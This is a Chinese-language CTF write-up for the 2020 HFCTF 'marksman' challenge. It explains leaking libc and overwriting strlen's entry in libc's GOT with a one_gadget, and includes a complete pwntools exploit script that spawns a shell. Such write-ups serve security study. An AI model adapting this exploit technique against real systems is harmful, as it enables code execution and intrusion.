2020 HFCTF
marksman
查看题目保护
保护全开,这题的泄漏非常简单,这里就直接说利用方法。在程序的最后会调用puts函数,而在puts中会调用strlen函数,我们可以通过修改libc的got表为one_gadget来获取shell。
用readelf -S libc.so.6查看sections headers,如下
可以看到.got.plt section的起始偏移是0x3eb000。用IDA打开libc.so.6,跳转到0x3eb000附近,就可以找strlen函数在libc got表中的地址,如下
接下来修改这个地址中的值为one_gadget即可。这里使用的one_gadget是加了-l 2参数查出来的,最基本的几个不能使用。
在查看realloc和calloc在.got.plt中对应的表项时发现存放的不是函数的真实地址,而是libc中.plt section的地址,有点疑惑,libc内部部分函数也使用延迟绑定技术?
exp如下:
# coding:utf8 from pwn import * context(log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60']) elf = ELF('hfctf_2020_marksman') #libc = elf.libc libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False) def exploit(): p = process('./hfctf_2020_marksman', env = {'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc.so.6'}) #p = remote('node3.buuoj.cn', 26069, env = {'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc.so.6'}) #p = remote('node3.buuoj.cn', 26069) p.recvuntil('near: ') libc_base = int(p.recv(14), 16) - libc.sym['puts'] info("libc_base ==> " + hex(libc_base)) one_gadget = libc_base + 0xe58bf info("one_gadget ==> " + hex(one_gadget)) # 打libc的got表 target = libc_base + 0x3eb0a8 info("target ==> " + hex(target)) p.recvuntil('shoot!shoot!\n') p.send(str(target) + '\n') #gdb.attach(p, 'b * $rebase(0xd63)\nc') p.sendlineafter('biang!\n', p64(one_gadget)[0]) p.sendlineafter('biang!\n', p64(one_gadget)[1]) p.sendlineafter('biang!\n', p64(one_gadget)[2]) p.interactive() p.close() if __name__ == '__main__': exploit()